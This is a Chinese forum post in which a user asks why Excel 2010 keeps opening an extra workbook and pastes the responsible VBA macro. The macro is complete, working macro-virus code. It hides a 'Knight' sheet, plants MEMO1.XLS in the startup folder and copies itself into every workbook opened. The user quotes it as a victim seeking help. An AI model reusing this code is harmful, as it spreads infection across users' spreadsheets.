【excel if else】EXCEL2010打开一个文件会自动打开另一个新的工作簿

我已经试过了重装EXCEL，EXCEL宏杀毒，但是都没有好的解决办法。
这个文件是在XLSTART中，我把这个文件夹删除之后，又会自动在这个文件夹中生成这个文件。
如何解决，谢谢！

相关宏如下：

Sub auto_open()
    Application.OnSheetActivate="check_files"
End Sub

Sub check_files()
    c$=Application.StartupPath
    m$=Dir(c$ & "\" & "MEMO1.XLS")
    If m$="MEMO1.XLS" Then p=1 Else p=0
    If ActiveWorkbook.Modules.Count > 0 Then w=1 Else w=0
    whichfile=p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating=False
    n4$=ActiveWorkbook.Name
    Sheets("Knight").Visible=True
    Sheets("Knight").Select
    Sheets("Knight").Copy
    With ActiveWorkbook
        .Title=""
        .Subject=""
        .Author=""
        .Keywords=""
        .Comments=""
    End With
    newname$=ActiveWorkbook.Name
    c4$=CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible=False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "MEMO1.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:=_
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("Knight").Visible=False
    Application.OnSheetActivate=""
    Application.ScreenUpdating=True
    Application.OnSheetActivate="MEMO1.xls!check_files"
    Case 1
    Application.ScreenUpdating=False
    n4$=ActiveWorkbook.Name
    p4$=ActiveWorkbook.Path
    s$=Workbooks(n4$).Sheets(1).Name
    If s$ <> "Knight" Then
        Workbooks("MEMO1.XLS").Sheets("Knight").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("Knight").Visible=False
    Else
    End If
    Application.OnSheetActivate=""
    Application.ScreenUpdating=True
    Application.OnSheetActivate="MEMO1.xls!check_files"
    Case Else
End Select
End Sub